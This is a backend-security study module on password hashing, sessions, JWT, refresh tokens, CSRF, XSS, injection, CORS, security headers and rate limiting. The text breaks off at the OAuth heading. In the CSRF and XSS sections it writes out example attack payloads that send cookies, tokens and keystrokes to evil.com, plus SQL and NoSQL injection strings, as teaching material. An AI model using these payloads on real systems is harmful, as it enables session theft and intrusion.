05-authentication-and-security.md

Module 05: Authentication & Security

Goal: Understand JWT, sessions, CSRF, XSS, and all security concepts needed for backend development and interviews. Time: 2-3 days of focused study Prerequisites: Module 01-04


Table of Contents

  1. Authentication vs Authorization
  2. Password Hashing — Never Store Plain Passwords
  3. Session-Based Authentication
  4. Token-Based Authentication (JWT)
  5. JWT Deep Dive — Structure, Signing, Verification
  6. Refresh Tokens — Solving JWT Expiration
  7. Session vs JWT — When to Use Which
  8. CSRF — Cross-Site Request Forgery
  9. XSS — Cross-Site Scripting
  10. SQL Injection & NoSQL Injection
  11. CORS — Cross-Origin Resource Sharing (Deep Dive)
  12. Security Headers (Helmet.js)
  13. Rate Limiting & Brute Force Protection
  14. OAuth 2.0 — Third-Party Login
  15. HTTPS & TLS
  16. Input Sanitization
  17. Security Best Practices Checklist
  18. Real-World Implementation
  19. Interview Questions

1. Authentication vs Authorization

AUTHENTICATION (AuthN) AUTHORIZATION (AuthZ) "Who are you?" "What can you do?" ───────────────────── ───────────────────── • Login with username/password • Role-based (admin, user, editor) • Verify identity • Permission-based (read, write, delete) "Prove you are Alice""Alice can edit posts but can't delete users" Example flow: 1. User sends credentials → Authentication 2. Server verifies identity → Authentication 3. Server checks permissions → Authorization 4. Server allows/denies → Authorization
// Authentication middleware — "Are you logged in?" function authenticate(req, res, next) { const token = req.headers.authorization?.split(' ')[1]; if (!token) return res.status(401).json({ error: 'Authentication required' }); try { const decoded = jwt.verify(token, process.env.JWT_SECRET); req.user = decoded; // Attach user info to request next(); } catch (err) { return res.status(401).json({ error: 'Invalid or expired token' }); } } // Authorization middleware — "Do you have permission?" function authorize(...roles) { return (req, res, next) => { if (!roles.includes(req.user.role)) { return res.status(403).json({ error: 'Insufficient permissions' }); } next(); }; } // Usage: app.get('/api/users', authenticate, authorize('admin'), getUsers); // ↑ Must be logged in ↑ Must be admin

2. Password Hashing

Why Hash Passwords?

If your database is breached (and it WILL happen), stored passwords are exposed. ❌ Plain text: password123 → Attacker knows the password immediately ❌ Encrypted: aG9sYQ== → Attacker can decrypt if they find the key ❌ Simple hash: ef92b778bafe771e89... → Attacker uses rainbow tables ✅ Salted hash: $2b$10$X7xK... → Each password has unique salt, very slow to crack

Using bcrypt (Recommended)

const bcrypt = require('bcrypt'); // ---- HASHING A PASSWORD ---- async function hashPassword(plainPassword) { const saltRounds = 12; // Higher = slower = more secure (10-12 recommended) const hash = await bcrypt.hash(plainPassword, saltRounds); return hash; // Returns something like: $2b$12$LJ3m4ys3Lg.Uc/H7K5xDOuhJF.bG4A6jP7T3vVi2TflMVa3cS // Format: $2b$[cost]$[22-char salt][31-char hash] // The salt is embedded in the hash! No need to store it separately. } // ---- VERIFYING A PASSWORD ---- async function verifyPassword(plainPassword, storedHash) { const isMatch = await bcrypt.compare(plainPassword, storedHash); return isMatch; // true or false } // ---- COMPLETE REGISTRATION & LOGIN FLOW ---- // Registration app.post('/api/auth/register', async (req, res) => { const { email, password, name } = req.body; // Check if user exists const existingUser = await User.findOne({ email }); if (existingUser) { return res.status(409).json({ error: 'Email already registered' }); } // Hash password const hashedPassword = await bcrypt.hash(password, 12); // Create user const user = await User.create({ name, email, password: hashedPassword, // NEVER store plain password }); res.status(201).json({ message: 'Registration successful', user: { id: user.id, name: user.name, email: user.email }, // NEVER send password back, not even the hash! }); }); // Login app.post('/api/auth/login', async (req, res) => { const { email, password } = req.body; // Find user const user = await User.findOne({ email }); if (!user) { // Don't reveal whether email exists or not! return res.status(401).json({ error: 'Invalid credentials' }); } // Verify password const isMatch = await bcrypt.compare(password, user.password); if (!isMatch) { return res.status(401).json({ error: 'Invalid credentials' }); // Same message as "user not found" — prevents email enumeration } // Generate token (covered in next section) const token = generateToken(user); res.json({ token, user: { id: user.id, name: user.name } }); });

How bcrypt Works Internally

1. Generate random salt (22 characters) 2. Combine salt + password 3. Run through Blowfish cipher [cost] times (2^12 = 4096 iterations) 4. Output: $2b$12$[salt][hash] Why bcrypt is better than SHA-256: - bcrypt is INTENTIONALLY SLOW (100ms+ per hash) - SHA-256 is FAST (can compute billions per second) - Slow = attacker can only try ~10 passwords/second with bcrypt - Fast = attacker can try billions/second with SHA-256

Alternative: Argon2 (Newer, Also Recommended)

const argon2 = require('argon2'); // Hash const hash = await argon2.hash(password, { type: argon2.argon2id, // Recommended variant memoryCost: 2 ** 16, // 64MB memory usage timeCost: 3, // 3 iterations parallelism: 1, // 1 thread }); // Verify const isMatch = await argon2.verify(hash, password);

3. Session-Based Authentication

How Sessions Work

Browser Server │ │ 1. POST /login {email, password} │ ────────────────────────────────────►│ │ │ 2. Verify credentials │ │ 3. Create session in store: │ │ sessions["abc123"] = { userId: 1, role: "admin" } 4. Set-Cookie: sessionId=abc123 │ │ ◄────────────────────────────────────│ │ │ 5. GET /profile │ │ Cookie: sessionId=abc123 │ │ ────────────────────────────────────►│ │ │ 6. Look up sessions["abc123"] │ │ 7. Found! User is authenticated. 8. Response: { name: "Alice" } │ ◄────────────────────────────────────│

Implementation with express-session

const express = require('express'); const session = require('express-session'); const RedisStore = require('connect-redis').default; const { createClient } = require('redis'); const app = express(); // Create Redis client for session storage const redisClient = createClient({ url: 'redis://localhost:6379' }); redisClient.connect(); // Configure session middleware app.use(session({ store: new RedisStore({ client: redisClient }), // Store sessions in Redis secret: process.env.SESSION_SECRET, // Used to sign the session ID cookie name: 'sessionId', // Cookie name (default: connect.sid) resave: false, // Don't save session if unmodified saveUninitialized: false, // Don't create session until something stored cookie: { httpOnly: true, // JavaScript can't access the cookie secure: true, // Only send over HTTPS sameSite: 'strict', // CSRF protection maxAge: 24 * 60 * 60 * 1000, // 24 hours // domain: '.example.com', // Share across subdomains } })); // Login — create session app.post('/auth/login', async (req, res) => { const { email, password } = req.body; const user = await verifyCredentials(email, password); if (!user) { return res.status(401).json({ error: 'Invalid credentials' }); } // Store user data in session req.session.userId = user.id; req.session.role = user.role; req.session.loginAt = new Date(); res.json({ message: 'Logged in', user: { id: user.id, name: user.name } }); }); // Protected route — check session app.get('/profile', (req, res) => { if (!req.session.userId) { return res.status(401).json({ error: 'Not authenticated' }); } res.json({ userId: req.session.userId, role: req.session.role, }); }); // Logout — destroy session app.post('/auth/logout', (req, res) => { req.session.destroy((err) => { if (err) return res.status(500).json({ error: 'Logout failed' }); res.clearCookie('sessionId'); res.json({ message: 'Logged out' }); }); });

Session Storage Options

Storage │ Pros │ Cons ────────────────┼───────────────────────────────┼────────────────────────── Memory (default)│ Fast, no setup │ Lost on restart, can't scale File │ Persists across restarts │ Slow, single server only Redis │ Fast, persistent, scalable │ Requires Redis server MongoDB │ Persistent, familiar │ Slower than Redis PostgreSQL │ Persistent, ACID │ Slower than Redis Production recommendation: ALWAYS use Redis for sessions.

4. Token-Based Authentication (JWT)

How JWT Works

Browser Server │ │ 1. POST /login {email, password} │ ────────────────────────────────────►│ │ │ 2. Verify credentials │ │ 3. Create JWT: │ │ sign({ userId: 1, role: "admin" }, secret) 4. { token: "eyJhbG..." } │ ◄────────────────────────────────────│ │ │ 5. GET /profile │ │ Authorization: Bearer eyJhbG... │ ────────────────────────────────────►│ │ │ 6. Verify JWT signature │ │ 7. Decode payload: { userId: 1, role: "admin" } │ │ No database lookup needed! 8. Response: { name: "Alice" } │ ◄────────────────────────────────────│

Key difference from sessions:

  • Sessions store data on the server (in Redis/database)
  • JWT stores data in the token itself (sent with every request)
  • The server doesn't need to look anything up — it just verifies the signature

5. JWT Deep Dive

JWT Structure

A JWT has three parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcwNTMxMjAwMCwiZXhwIjoxNzA1Mzk4NDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c │─────────── Header ──────────│──────────── Payload ────────────│──────── Signature ────────│
// HEADER (algorithm + type) { "alg": "HS256", // Signing algorithm "typ": "JWT" // Token type } // Base64Url encoded → eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 // PAYLOAD (claims — the actual data) { "userId": 1, // Custom claim "role": "admin", // Custom claim "iat": 1705312000, // Issued At (standard claim) "exp": 1705398400, // Expiration (standard claim) "iss": "my-app", // Issuer (standard claim) "sub": "user:1", // Subject (standard claim) "aud": "my-api" // Audience (standard claim) } // Base64Url encoded → eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiIs... // SIGNATURE HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret ) // → SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

⚠️ CRITICAL: JWT is NOT Encrypted!

// Anyone can decode a JWT and read its payload! const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9.xxx"; // Decode WITHOUT verification (no secret needed): const payload = JSON.parse( Buffer.from(token.split('.')[1], 'base64url').toString() ); console.log(payload); // { userId: 1, role: "admin" } // NEVER put sensitive data in JWT: // ❌ password, credit card, SSN, full address // ✅ userId, role, email (non-sensitive identifiers) // The SIGNATURE prevents TAMPERING, not reading. // If someone changes the payload, the signature won't match.

Implementation with jsonwebtoken

const jwt = require('jsonwebtoken'); const JWT_SECRET = process.env.JWT_SECRET; // Use a strong random string (256+ bits) const JWT_EXPIRES_IN = '15m'; // Access token: short-lived // ---- CREATING (SIGNING) A TOKEN ---- function generateAccessToken(user) { return jwt.sign( { userId: user.id, email: user.email, role: user.role, }, JWT_SECRET, { expiresIn: JWT_EXPIRES_IN, issuer: 'my-app', audience: 'my-api', } ); } // ---- VERIFYING A TOKEN ---- function verifyAccessToken(token) { try { const decoded = jwt.verify(token, JWT_SECRET, { issuer: 'my-app', audience: 'my-api', }); return decoded; // { userId: 1, email: "alice@example.com", role: "admin", iat: ..., exp: ... } } catch (err) { if (err instanceof jwt.TokenExpiredError) { throw new Error('Token expired'); } if (err instanceof jwt.JsonWebTokenError) { throw new Error('Invalid token'); } throw err; } } // ---- MIDDLEWARE ---- function authenticate(req, res, next) { const authHeader = req.headers.authorization; if (!authHeader || !authHeader.startsWith('Bearer ')) { return res.status(401).json({ error: 'No token provided' }); } const token = authHeader.split(' ')[1]; try { const decoded = verifyAccessToken(token); req.user = decoded; next(); } catch (err) { return res.status(401).json({ error: err.message }); } }

Signing Algorithms

Symmetric (same key for sign and verify): HS256 — HMAC + SHA-256 (most common, simple) HS384 — HMAC + SHA-384 HS512 — HMAC + SHA-512 Pros: Simple, fast Cons: Secret must be shared with everyone who verifies Asymmetric (private key to sign, public key to verify): RS256 — RSA + SHA-256 RS512 — RSA + SHA-512 ES256 — ECDSA + SHA-256 Pros: Only auth server needs private key, others verify with public key Cons: Slower, more complex
// Asymmetric example (RS256): const fs = require('fs'); const jwt = require('jsonwebtoken'); const privateKey = fs.readFileSync('./private.pem'); const publicKey = fs.readFileSync('./public.pem'); // Sign with PRIVATE key (only auth server) const token = jwt.sign({ userId: 1 }, privateKey, { algorithm: 'RS256', expiresIn: '15m', }); // Verify with PUBLIC key (any service can verify) const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'], // ALWAYS specify allowed algorithms! });

JWT Security Vulnerabilities

// 1. Algorithm "none" attack // Some JWT libraries accept alg: "none" — no signature needed! // ALWAYS specify algorithms when verifying: jwt.verify(token, secret, { algorithms: ['HS256'] }); // ✅ jwt.verify(token, secret); // ❌ Might accept "none" // 2. Algorithm confusion attack // Attacker changes RS256 to HS256 and uses the PUBLIC key as HMAC secret // ALWAYS specify expected algorithm: jwt.verify(token, publicKey, { algorithms: ['RS256'] }); // ✅ // 3. Weak secret // ❌ jwt.sign(payload, "secret") // Can be brute-forced! // ❌ jwt.sign(payload, "my-app-secret") // Still weak // ✅ jwt.sign(payload, crypto.randomBytes(64).toString('hex')) // Strong! // Generate a strong secret: // node -e "console.log(require('crypto').randomBytes(64).toString('hex'))" // 4. Token stored in localStorage (vulnerable to XSS) // More on this in the XSS section below.

6. Refresh Tokens

The Problem with Short-Lived Tokens

Short expiry (15min) = Secure but annoying (user re-logs in frequently) Long expiry (30 days) = Convenient but dangerous (stolen token valid for a month) Solution: Use TWO tokens: • Access Token — short-lived (15 min), used to access APIs • Refresh Token — long-lived (7 days), used ONLY to get new access tokens

How Refresh Tokens Work

1. User logs in: Server returns: { accessToken: "...", refreshToken: "..." } 2. User makes API calls: Authorization: Bearer <accessToken> 3. Access token expires (after 15 min): API returns: 401 Unauthorized 4. Client uses refresh token to get new access token: POST /auth/refresh { refreshToken: "..." } Server returns: { accessToken: "new-token" } 5. Client continues with new access token 6. Refresh token expires (after 7 days): User must log in again

Implementation

const jwt = require('jsonwebtoken'); const crypto = require('crypto'); const ACCESS_TOKEN_SECRET = process.env.ACCESS_TOKEN_SECRET; const REFRESH_TOKEN_SECRET = process.env.REFRESH_TOKEN_SECRET; // In-memory store (use Redis in production!) const refreshTokens = new Map(); // userId → Set of valid refresh tokens // ---- LOGIN: Issue both tokens ---- app.post('/auth/login', async (req, res) => { const { email, password } = req.body; const user = await verifyCredentials(email, password); if (!user) return res.status(401).json({ error: 'Invalid credentials' }); const accessToken = jwt.sign( { userId: user.id, role: user.role }, ACCESS_TOKEN_SECRET, { expiresIn: '15m' } ); const refreshToken = jwt.sign( { userId: user.id, tokenId: crypto.randomUUID() }, REFRESH_TOKEN_SECRET, { expiresIn: '7d' } ); // Store refresh token if (!refreshTokens.has(user.id)) { refreshTokens.set(user.id, new Set()); } refreshTokens.get(user.id).add(refreshToken); // Send refresh token as httpOnly cookie (more secure than sending in body) res.cookie('refreshToken', refreshToken, { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days path: '/auth/refresh', // Only sent to this endpoint }); res.json({ accessToken }); }); // ---- REFRESH: Get new access token ---- app.post('/auth/refresh', async (req, res) => { const refreshToken = req.cookies.refreshToken; if (!refreshToken) return res.status(401).json({ error: 'No refresh token' }); try { const decoded = jwt.verify(refreshToken, REFRESH_TOKEN_SECRET); // Check if token is in our valid tokens list const userTokens = refreshTokens.get(decoded.userId); if (!userTokens || !userTokens.has(refreshToken)) { return res.status(401).json({ error: 'Invalid refresh token' }); } // ROTATION: Remove old refresh token, issue new one userTokens.delete(refreshToken); const user = await User.findById(decoded.userId); const newAccessToken = jwt.sign( { userId: user.id, role: user.role }, ACCESS_TOKEN_SECRET, { expiresIn: '15m' } ); const newRefreshToken = jwt.sign( { userId: user.id, tokenId: crypto.randomUUID() }, REFRESH_TOKEN_SECRET, { expiresIn: '7d' } ); userTokens.add(newRefreshToken); res.cookie('refreshToken', newRefreshToken, { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 7 * 24 * 60 * 60 * 1000, path: '/auth/refresh', }); res.json({ accessToken: newAccessToken }); } catch (err) { return res.status(401).json({ error: 'Invalid refresh token' }); } }); // ---- LOGOUT: Invalidate refresh token ---- app.post('/auth/logout', authenticate, (req, res) => { const refreshToken = req.cookies.refreshToken; if (refreshToken) { const userTokens = refreshTokens.get(req.user.userId); if (userTokens) userTokens.delete(refreshToken); } res.clearCookie('refreshToken', { path: '/auth/refresh' }); res.json({ message: 'Logged out' }); }); // ---- LOGOUT ALL DEVICES ---- app.post('/auth/logout-all', authenticate, (req, res) => { refreshTokens.delete(req.user.userId); // Remove ALL refresh tokens res.clearCookie('refreshToken', { path: '/auth/refresh' }); res.json({ message: 'Logged out from all devices' }); });

Where to Store Tokens on the Client

Storage │ XSS Safe │ CSRF Safe │ Recommendation ────────────────┼──────────┼───────────┼─────────────────────── localStorage │ ❌ No │ ✅ Yes │ ❌ Avoid (XSS can steal it) sessionStorage │ ❌ No │ ✅ Yes │ ❌ Avoid (XSS can steal it) Cookie (regular)│ ❌ No │ ❌ No │ ❌ Avoid Cookie (httpOnly│ ✅ Yes │ ❌ No │ ✅ Use with CSRF protection + secure + │ │ │ sameSite) │ │ │ Memory (JS var) │ ✅ Yes │ ✅ Yes │ ✅ Best for access tokens │ │ │ (lost on page refresh) RECOMMENDED APPROACH: • Access token: In memory (JavaScript variable)not accessible to XSS • Refresh token: In httpOnly cookie — not accessible to JavaScript • When page loads: Call /auth/refresh to get new access token

7. Session vs JWT — When to Use Which

Feature │ Session-Based │ JWT-Based ─────────────────────┼────────────────────────┼──────────────────────── State │ Stateful (server)Stateless (token) Storage │ Server (Redis/DB)Client (cookie/memory) Scalability │ Needs shared store │ Any server can verify Revocation │ ✅ Easy (delete from │ ❌ Hard (must blacklist │ store)or wait for expiry) Size │ Small cookie (ID only)Larger (payload in token) Server memory │ Uses memory/storage │ No server storage needed Cross-domain │ ❌ Difficult (cookies │ ✅ Easy (send in header) │ are domain-bound)Mobile apps │ ❌ Cookies not ideal │ ✅ Works well Microservices │ ❌ Need shared session │ ✅ Each service verifies │ store │ independently Security │ Session hijacking │ Token theft, no revocation WHEN TO USE SESSIONS: • Traditional web apps (server-side rendered) • When you need instant revocation (logout = immediate) • Single-domain applications • When you need to limit concurrent sessions WHEN TO USE JWT: • Single Page Applications (SPAs) with API backends • Mobile applications • Microservice architectures • Cross-domain / Cross-origin APIs • When scalability matters (no shared state)

8. CSRF — Cross-Site Request Forgery

What is CSRF?

CSRF tricks an authenticated user into unknowingly performing actions on a website where they're logged in.

THE ATTACK: 1. Alice is logged into bank.com (has session cookie) 2. Alice visits evil.com (attacker's site) 3. evil.com contains: <img src="https://bank.com/transfer?to=attacker&amount=10000"> 4. Browser automatically sends bank.com's cookies with the request! 5. Bank processes the transfer because Alice IS authenticated WHY IT WORKS: • Cookies are sent AUTOMATICALLY with every request to the domain • The browser doesn't care WHERE the request originated • The bank can't tell if the request came from its own page or evil.com

More Realistic CSRF Example

<!-- On evil.com — hidden form that auto-submits --> <body onload="document.getElementById('csrfForm').submit()"> <form id="csrfForm" action="https://bank.com/api/transfer" method="POST"> <input type="hidden" name="to" value="attacker-account" /> <input type="hidden" name="amount" value="10000" /> </form> </body> <!-- Or with JavaScript: --> <script> fetch('https://bank.com/api/transfer', { method: 'POST', credentials: 'include', // Send cookies headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ to: 'attacker', amount: 10000 }) }); // This WON'T work because of CORS (browser blocks it) // But the form submission DOES work (forms bypass CORS) </script>

CSRF Protection Methods

// 1. SameSite Cookie Attribute (BEST — modern browsers) res.cookie('sessionId', value, { sameSite: 'strict', // Cookie NEVER sent from cross-origin requests // OR sameSite: 'lax', // Sent only with top-level navigation (GET only) // 'strict' breaks: links from emails, social media opening your site // 'lax' is a good balance }); // 2. CSRF Tokens (Traditional approach) // npm install csurf (deprecated) or csrf-csrf const { doubleCsrf } = require('csrf-csrf'); const { doubleCsrfProtection, generateToken } = doubleCsrf({ getSecret: () => process.env.CSRF_SECRET, cookieName: '_csrf', cookieOptions: { httpOnly: true, sameSite: 'strict', secure: true, }, }); // Apply CSRF protection app.use(doubleCsrfProtection); // Generate token for client app.get('/auth/csrf-token', (req, res) => { res.json({ csrfToken: generateToken(req, res) }); }); // Client sends token in header with every request: // X-CSRF-Token: <token> // 3. Check Origin/Referer Header function csrfCheck(req, res, next) { const origin = req.headers.origin || req.headers.referer; const allowedOrigins = ['https://myapp.com', 'https://www.myapp.com']; if (req.method !== 'GET' && !allowedOrigins.some(o => origin?.startsWith(o))) { return res.status(403).json({ error: 'CSRF check failed' }); } next(); } // 4. Custom Request Headers // Browsers don't allow cross-origin requests with custom headers (CORS blocks it) // So requiring a custom header like X-Requested-With prevents CSRF function requireCustomHeader(req, res, next) { if (req.method !== 'GET' && !req.headers['x-requested-with']) { return res.status(403).json({ error: 'Missing custom header' }); } next(); }

Why JWT APIs Are Mostly CSRF-Safe

JWT sent in Authorization header: ✅ CSRF-safe because attackers can't set custom headers cross-origin JWT sent in cookie: ❌ NOT CSRF-safe because cookies are sent automatically! Session cookie: ❌ NOT CSRF-safe — need CSRF tokens or SameSite attribute RULE: If you use cookies for authentication, you MUST protect against CSRF. If you use Authorization header, CSRF is not a concern.

9. XSS — Cross-Site Scripting

What is XSS?

XSS allows attackers to inject malicious JavaScript into your website, which runs in other users' browsers.

Types of XSS

1. STORED XSS (Persistent) Attack: Attacker saves <script>...</script> in a comment/post Trigger: Every user who views the page runs the malicious script Example: Blog comment: "<script>fetch('https://evil.com?cookie=' + document.cookie)</script>" 2. REFLECTED XSS (Non-Persistent) Attack: Attacker crafts a URL with malicious script in query params Trigger: Victim clicks the link Example: https://mysite.com/search?q=<script>alert('hacked')</script> 3. DOM-BASED XSS Attack: Client-side JavaScript uses user input unsafely Trigger: When client JS reads from URL, document, or other controllable sources Example: document.innerHTML = location.hash.slice(1); URL: https://mysite.com#<img src=x onerror=alert('XSS')>

What Can an Attacker Do with XSS?

// 1. Steal cookies (and session tokens) new Image().src = 'https://evil.com/steal?cookie=' + document.cookie; // 2. Steal tokens from localStorage fetch('https://evil.com/steal?token=' + localStorage.getItem('token')); // 3. Keylog passwords document.querySelector('#password').addEventListener('keyup', (e) => { fetch('https://evil.com/keys?key=' + e.key); }); // 4. Redirect to phishing page window.location = 'https://evil-lookalike.com/login'; // 5. Modify page content (show fake login form) document.body.innerHTML = '<h1>Session expired. Please log in again.</h1>' + '<form action="https://evil.com/phish"><input name="password" type="password"><button>Login</button></form>'; // 6. Make requests as the user (CSRF via XSS) fetch('/api/admin/delete-all', { method: 'DELETE' });

XSS Prevention

// 1. NEVER insert user input into HTML without escaping // ❌ Dangerous: element.innerHTML = userInput; res.send(`<h1>Hello, ${req.query.name}</h1>`); // ✅ Safe — escape HTML entities: function escapeHtml(str) { const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;', }; return str.replace(/[&<>"']/g, char => map[char]); } res.send(`<h1>Hello, ${escapeHtml(req.query.name)}</h1>`); // ✅ Even safer — use a template engine that escapes by default: // EJS: <%= variable %> auto-escapes, <%- variable %> does NOT escape // 2. Content Security Policy (CSP) — strongest defense app.use((req, res, next) => { res.setHeader('Content-Security-Policy', "default-src 'self'; " + "script-src 'self'; " + // Only allow scripts from same origin "style-src 'self'; " + // Only allow styles from same origin "img-src 'self' data: https:; " + "connect-src 'self' https://api.myapp.com; " + "font-src 'self'; " + "frame-src 'none'; " + // No iframes "object-src 'none';" // No plugins ); next(); }); // Or use helmet.js (see section 12) // 3. httpOnly cookies — prevent JS access to cookies res.cookie('session', value, { httpOnly: true }); // document.cookie will NOT show this cookie // 4. Sanitize input on the server // npm install dompurify jsdom (for server-side) const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const DOMPurify = createDOMPurify(new JSDOM('').window); const dirty = '<script>alert("xss")</script><b>Hello</b>'; const clean = DOMPurify.sanitize(dirty); // clean = '<b>Hello</b>' — script tag removed! // 5. Use textContent instead of innerHTML (browser) element.textContent = userInput; // Safe — treats everything as text // element.innerHTML = userInput; // ❌ Dangerous — parses as HTML

10. SQL Injection & NoSQL Injection

SQL Injection

// ❌ VULNERABLE — user input directly in SQL query const query = `SELECT * FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}'`; // Attack: username = "admin' OR '1'='1' --" // Resulting query: SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = '' // This returns ALL users because '1'='1' is always true! // The -- comments out the rest of the query // ✅ SAFE — parameterized queries (prepared statements) const query = 'SELECT * FROM users WHERE username = $1 AND password = $2'; const result = await pool.query(query, [req.body.username, req.body.password]); // Parameters are treated as DATA, never as SQL commands // ✅ SAFE — using an ORM (like Prisma, Sequelize, Knex) const user = await prisma.user.findUnique({ where: { username: req.body.username } }); // ORMs automatically use parameterized queries

NoSQL Injection (MongoDB)

// ❌ VULNERABLE — user input can contain operators app.post('/login', async (req, res) => { const user = await User.findOne({ username: req.body.username, password: req.body.password, }); }); // Attack: POST body = { "username": "admin", "password": { "$ne": "" } } // MongoDB query becomes: { username: "admin", password: { $ne: "" } } // This matches ANY document where password is not empty! // ✅ SAFE — validate and sanitize input const { body } = require('express-validator'); app.post('/login', body('username').isString().trim(), body('password').isString().trim(), async (req, res) => { // Ensure types are strings, not objects const user = await User.findOne({ username: String(req.body.username), password: String(req.body.password), // Still bad to compare plain passwords! }); } ); // Or use mongo-sanitize: const mongoSanitize = require('express-mongo-sanitize'); app.use(mongoSanitize()); // Strips $ and . from req.body, req.query, req.params

11. CORS Deep Dive

What is CORS?

CORS is a browser security feature. It blocks frontend JavaScript from making requests to a different origin (domain, protocol, or port) unless the server explicitly allows it.

Same Origin: https://myapp.com/page1 → https://myapp.com/api/users ✅ Same origin Cross Origin (blocked by default): https://myapp.com → https://api.myapp.com ❌ Different subdomain http://localhost:3000 → http://localhost:5000 ❌ Different port https://myapp.com → http://myapp.com ❌ Different protocol

How CORS Works — The Preflight Request

For "simple" requests (GET, POST with form data): Browser sends request directly, checks Access-Control-Allow-Origin in response. For "complex" requests (PUT, DELETE, custom headers, JSON body): Browser sends a PREFLIGHT request first (OPTIONS method): Browser Server │ │ │ OPTIONS /api/users │ ← Preflight │ Origin: http://localhost:3000 │ │ Access-Control-Request-Method: PUT │ │ Access-Control-Request-Headers: │ Content-Type, Authorization │ │ ────────────────────────────────────►│ │ │ 200 OK │ ← Preflight Response │ Access-Control-Allow-Origin: * │ Access-Control-Allow-Methods: PUT │ │ Access-Control-Allow-Headers: │ Content-Type, Authorization │ │ Access-Control-Max-Age: 86400 │ ◄────────────────────────────────────│ │ │ │ PUT /api/users/123 │ ← Actual Request (only if preflight passed) │ Origin: http://localhost:3000 │ │ Authorization: Bearer token │ │ ────────────────────────────────────►│ │ │ 200 OK │ ← Actual Response │ Access-Control-Allow-Origin: * │ ◄────────────────────────────────────│

CORS Configuration Patterns

const cors = require('cors'); // Development — allow everything app.use(cors()); // Production — strict configuration const corsOptions = { origin: function (origin, callback) { const whitelist = [ 'https://myapp.com', 'https://www.myapp.com', 'https://admin.myapp.com' ]; // Allow requests with no origin (mobile apps, curl, server-to-server) if (!origin || whitelist.includes(origin)) { callback(null, true); } else { callback(new Error('Not allowed by CORS')); } }, methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization', 'X-Requested-With'], credentials: true, // Allow cookies maxAge: 86400, // Cache preflight for 24 hours exposedHeaders: ['X-Total-Count', 'X-Request-ID'], // Headers client can read }; app.use(cors(corsOptions)); // ⚠️ IMPORTANT: When credentials: true, origin CANNOT be '*' // You must specify exact origins

12. Security Headers

// npm install helmet const helmet = require('helmet'); // helmet() enables many headers at once: app.use(helmet()); // Individual headers it sets: // 1. Content-Security-Policy — prevents XSS // Controls which resources the browser can load app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "https://cdn.example.com"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:", "https:"], connectSrc: ["'self'", "https://api.example.com"], fontSrc: ["'self'", "https://fonts.googleapis.com"], objectSrc: ["'none'"], frameSrc: ["'none'"], } })); // 2. X-Content-Type-Options: nosniff // Prevents browser from MIME-sniffing (guessing content type) app.use(helmet.noSniff()); // 3. X-Frame-Options: DENY // Prevents your site from being loaded in an iframe (clickjacking protection) app.use(helmet.frameguard({ action: 'deny' })); // 4. Strict-Transport-Security (HSTS) // Forces browsers to use HTTPS app.use(helmet.hsts({ maxAge: 31536000, // 1 year includeSubDomains: true, preload: true, })); // 5. X-XSS-Protection: 0 // Disables browser's XSS filter (can cause issues, CSP is better) // 6. Referrer-Policy // Controls how much referrer info is sent app.use(helmet.referrerPolicy({ policy: 'strict-origin-when-cross-origin' })); // 7. X-DNS-Prefetch-Control: off // Prevents DNS prefetching app.use(helmet.dnsPrefetchControl()); // 8. X-Permitted-Cross-Domain-Policies: none // Prevents Flash/PDF cross-domain data loading app.use(helmet.permittedCrossDomainPolicies());

13. Rate Limiting & Brute Force Protection

const rateLimit = require('express-rate-limit'); const RedisStore = require('rate-limit-redis').default; const { createClient } = require('redis'); const redisClient = createClient({ url: process.env.REDIS_URL }); // General API rate limiter const apiLimiter = rateLimit({ store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }), windowMs: 15 * 60 * 1000, // 15 minutes max: 100, // 100 requests per window message: { error: 'Too many requests, try again later' }, standardHeaders: true, legacyHeaders: false, keyGenerator: (req) => req.ip, // Rate limit by IP }); // Strict auth limiter (brute force protection) const authLimiter = rateLimit({ store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }), windowMs: 15 * 60 * 1000, max: 5, // Only 5 attempts per 15 minutes skipSuccessfulRequests: true, // Don't count successful logins message: { error: 'Too many login attempts. Try again in 15 minutes.' }, keyGenerator: (req) => `auth:${req.ip}:${req.body?.email || 'unknown'}`, }); app.use('/api/', apiLimiter); app.post('/api/auth/login', authLimiter, loginHandler); app.post('/api/auth/register', authLimiter, registerHandler); // Account lockout after too many failed attempts async function loginWithLockout(email, password) { const key = `login_attempts:${email}`; const attempts = await redis.get(key); if (parseInt(attempts) >= 5) { const ttl = await redis.ttl(key); throw new Error(`Account locked. Try again in ${Math.ceil(ttl / 60)} minutes.`); } const user = await User.findOne({ email }); const isValid = user && await bcrypt.compare(password, user.password); if (!isValid) { await redis.incr(key); await redis.expire(key, 900); // Lock for 15 minutes throw new Error('Invalid credentials'); } await redis.del(key); // Reset on successful login return user; }

14. OAuth 2.0

What is OAuth 2.0?

OAuth 2.0 lets users log in with their existing accounts (Google, GitHub, Facebook) without giving your app their password.

The Authorization Code Flow (Most Common)

